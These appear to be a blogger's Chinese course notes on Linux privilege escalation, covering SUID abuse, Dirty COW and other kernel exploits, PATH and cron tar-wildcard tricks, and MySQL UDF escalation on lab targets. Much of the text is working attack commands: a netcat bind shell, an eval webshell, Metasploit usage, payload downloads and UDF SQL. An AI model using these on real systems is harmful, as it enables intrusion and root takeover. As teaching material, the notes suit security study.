权限提升“小迪安全课堂笔记”linux提权

思维导图

在这里插入图片描述
liunx uid编号范围用户权限资料:https://blog.csdn.net/weixin_30129661/article/details/116882643

权限提升-Linux 脏牛内核漏洞&SUID&信息收集

Linux 提权自动化脚本利用-4 个脚本

两个信息收集:LinEnum,linuxprivchecker 注:建议手动和脚本同时使用。手动详见小迪linux提权总结.pdf
两个漏洞探针:linux-exploit-suggester linux-exploit-suggester2

https://github.com/rebootuser/LinEnum
https://github.com/sleventyeleven/linuxprivchecker
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2

信息收集有什么用?
信息收集为后续的提权做准备
漏洞探针又有什么用?
可以判定主机可能存在的漏洞

两个信息收集:LinEnum(通过webshell等权限讲脚本上传到/tmp⽬录(这个⽬录是⼀个临时⽬录, 重启后会清空,⼀般是可读写可执行的),上传其他⽬录可能会因为权限不够⽽失败), Linuxprivchecker(是⼀个python⽂件,前期要收集服务器是否能够运⾏python⽂件)。
在这里插入图片描述
重点要使⽤ /tmp# chmod +x LinEnum为它赋权

两个漏洞探针:linux-exploit-suggester ,linux-exploit-suggester2(是⼀个pl脚本)
在这里插入图片描述
在这里插入图片描述

Linux 提权 SUID 配合脚本演示-Aliyun

漏洞成因:chmod u+s 给予了 suid u-s 删除了 suid
使程序在运行中受到了 suid root 权限的执行过程导致。

通俗来说,执⾏过chmod u+s后,如果普通⽤户调⽤了这个程序会以root权限运⾏。
在这里插入图片描述

提权过程:探针是否有 SUID(手工或脚本)-特定 SUID 利用-利用吃瓜-GG

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
也可以⽤脚本来判断
检测有没有这个东⻄
在这里插入图片描述

参考利用:https://pentestlab.blog/2017/09/25/suid-executables/

touch xiaodi
find xiaodi -exec whoami ;
find xiaodi -exec netcat -lvp 5555 -e /bin/sh ;
netcat xx.xx.xx.xx 5555

演示

在这里插入图片描述
使⽤冰蝎链接webshell
在这里插入图片描述
打开MSF启动监听,在冰蝎上选择反弹shell,选择Metepreter,在MSF上按照冰蝎显示出来的命令敲,点击给我连

在这里插入图片描述
MSF上显示会话已连接,并且权限是www-data
在这里插入图片描述
可以将信息收集脚本先上传⾄MSF在上传到⽬标机,也可以通过冰蝎的⽂件管理系统
在这里插入图片描述
在这里插入图片描述
然后进⼊⽬标机的shell,执⾏刚才上传的信息收集脚本
在这里插入图片描述
查看以下的信息看是否有SUID提权的可能
在这里插入图片描述
看到有⼀个find,有SUID提权
在这里插入图片描述
在这里插入图片描述

Linux 提权本地配合内核漏洞演示-Mozhe(本地权限)Ubuntu 16.04漏洞复现

CVE-2017-16995
提权过程:连接-获取可利用漏洞-下载或上传 EXP-编译 EXP-给权限执行-GG

gcc 45010.c -o 45010
chmod +x 45010
./45010
id

演示

在这里插入图片描述
在这里插入图片描述
给⽬标主机上传检测脚本
在这里插入图片描述
执⾏脚本
在这里插入图片描述
选择CVE-2017-16995,在⽹上下载EXP,上传⾄⽬标主机,给权限,执行EXP
在这里插入图片描述
提权成功

Linux 提权脏牛内核漏洞演示-Aliyun,Vulnhub

内核提权整个过程:(linux-exploit-suggester 获取信息哦)
vulhub(https://www.vulnhub.com/)靶机-探针目标-CMS 漏洞利用-脚本探针提权漏洞-利用内核提权-GG
内核漏洞提权过程:寻可⽤-下exp-上/exp-编译exp-执⾏(⽆权限⽤chmod)

nmap 192.168.76.0/24
nmap -p1-65535 192.168.76.141
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set lhost 192.168.76.141
set lport 1898
set target 0
run
upload /tmp/40837.cpp /tmp/40837.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
python -c ‘import pty; pty.spawn(“/bin/bash”)’
./dcow

演示

在这里插入图片描述
⽆密码直接攻击
在这里插入图片描述
攻击机采⽤了kali
在这里插入图片描述
查看kali地址,确定了⽬标机的Ip地址段,⽤nmap扫描⽹段
在这里插入图片描述
扫描出来了⼀个141的主机
在这里插入图片描述
针对⽬标主机开始扫描
在这里插入图片描述
访问⽬标主机的1898端⼝,发现⼀个web⽹站,查到他的CMS
在这里插入图片描述
在msf中搜索这个CMS
在这里插入图片描述
使⽤⼀个漏洞
在这里插入图片描述
在这里插入图片描述
执⾏成功,返回会话
在这里插入图片描述
上传检测脚本
在这里插入图片描述
执⾏
在这里插入图片描述
扫描出多个漏洞,我们选择了CVE-2016-5195(脏⽜漏洞,可以借助webshell权限提升的漏洞)
在这里插入图片描述
下载对应EXP,上传⾄⽬标主机,运⾏EXP

在这里插入图片描述
python -c ‘import pty; pty.spawn(“/bin/bash”)’ 此漏洞利用必须要开启这个终端

根据上图密码,切换root用户
在这里插入图片描述
成功
在这里插入图片描述

权限提升-Linux 定时任务&环境变量&数据库

Linux 提权本地环境变量安全-Aliyun

配合 SUID 进行环境变量提权-本地用户环境
手写调用文件-编译-复制文件-增加环境变量-执行触发

gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./shell
id

演示

在这里插入图片描述
在这里插入图片描述
dome.c
在这里插入图片描述
在这里插入图片描述
将 /bin⽬录下的sh复制到/tmp下改名为ps 到/tmp⽬录下,如果输⼊ps则执⾏的是ps命令,⽽如果输⼊的是./ps则执⾏的是sh
在这里插入图片描述
在这里插入图片描述
如果现在输⼊ps,则会直接执⾏/tmp⽬录下的ps(实际上是sh)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
ps有suid权限

前提两个条件:
赋值了suid权限
需要本地⽤户(如果是webshell权限export PATH=/tmp:PATH执⾏不了) -鸡肋

Linux 提权本地定时任务安全-Aliyun

第一种:路径问题
利用计划任务指向的文件的相对路径解析问题

cat /ect/crontab
echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash

演示

计划任务的test没有写为绝对路径,
在这里插入图片描述
计划任务会默认执⾏在以下⽬录中的⽬标⽂件
在这里插入图片描述
在这里插入图片描述
执行出结果了
在这里插入图片描述

攻击者可以在⽤户⽬录下创建⼀个同名⽂件

第二种:命令问题
利用通配符配合命令参数自定义命令实现提权
不安全定时任务备份命令:

cd /home/undead/script;tar czf /tmp/backup.tar.gz *
echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > /home/undead/script/test.sh
echo “” > “–checkpoint-action=exec=sh test.sh”
echo “” > --checkpoint=1
参考命令:https://www.cnblogs.com/manong–/p/8012324.html

在这里插入图片描述
在这里插入图片描述

将这两个⽂件放到要打包的⽬录下
在这里插入图片描述
在这里插入图片描述
⽐正常打包多了⼀个bash
在这里插入图片描述
压缩包内还是四个⽂件
在这里插入图片描述

cd /home/undead/script; tar czf /tmp/backup.tar.gz * 命令的*会接受⽂件名,就变成了

在这里插入图片描述
执⾏了test.sh
在这里插入图片描述
suid提权,执⾏bash就有了root权限
在这里插入图片描述
如果不是tar命令,⽽是其他命令,则要看其他命令是否⽀持调⽤执⾏

第三种:权限问题
利用不安全的权限分配操作导致的定时文件覆盖
chmod 777 775 等 所有者 组 其他成员说明

Linux 提权第三方服务数据库-Vulnhub

Vulnhub 某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用 Mysql 提权Linux(Mysql 版本区别同 Windows)
探针 IP 及端口
nmap 192.168.76.0/24
利用 phpmailer 漏洞进行修改并反弹
python D:/Myproject/40974.py
nc -lvvp 4444
写入后门利用菜刀连接方便操作
echo ‘<?php eval($_POST[x]);?>’ >1.php
上传信息收集脚本进行提权信息收集
./LinEnum.sh
翻阅数据库配置文件获取 root 密码
利用 Mysql 提权 searchsploit
下载 mysql udf poc 进行编译
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
下载 1518 到目标服务器
wget https://xx.xx.xx.xx/1518.so
进入数据库进行 UDF 导出
use mysql;
create table foo(line blob);
insert into foo values(load_file(‘/tmp/1518.so’));
select * from foo into dumpfile ‘/usr/lib/mysql/plugin/1518.so’;
创建 do_system 函数调用
create function do_system returns integer soname ‘1518.so’;
select do_system(‘chmod u+s /usr/bin/find’);
配合使用 find 调用执行
touch xiaodi
find xiaodi –exec “whoami” ;
find xiaodi –exec “/bin/sh” ;
id

演示

⽬标主机
在这里插入图片描述
扫描发现有⼀个⽬录遍历,⾥⾯有⼀个PHPMailerAutoload.php第三⽅插件
在这里插入图片描述
⽹上也有PHPMailerAutoload.php的漏洞,下载EXP
在这里插入图片描述

⽤python运⾏EXP
在这里插入图片描述
反弹到5555的端⼝,监听
在这里插入图片描述
获得webshell在/tmp⽬录上传信息收集脚本,获得除了suid的信息,还有mysql
在这里插入图片描述
翻阅数据库配置⽂件获取root密码
在这里插入图片描述
按照上面步骤继续做mysql提权

Linux 提权提升漏洞简单总结归类-参考 PDF

1.提权环境,信息收集(SUID,定时任务,可能漏洞,第三方服务应用等)
2.最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)
3.本地 searchsploit 脚本及远程 exploitdb 站点搜索说明(简要使用)
4.其他提权方法如:密码复用,guid,sudo 等说明(运气,同理,鸡肋等)
SUDO 说明参考:https://www.freebuf.com/vuls/217089.htm

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值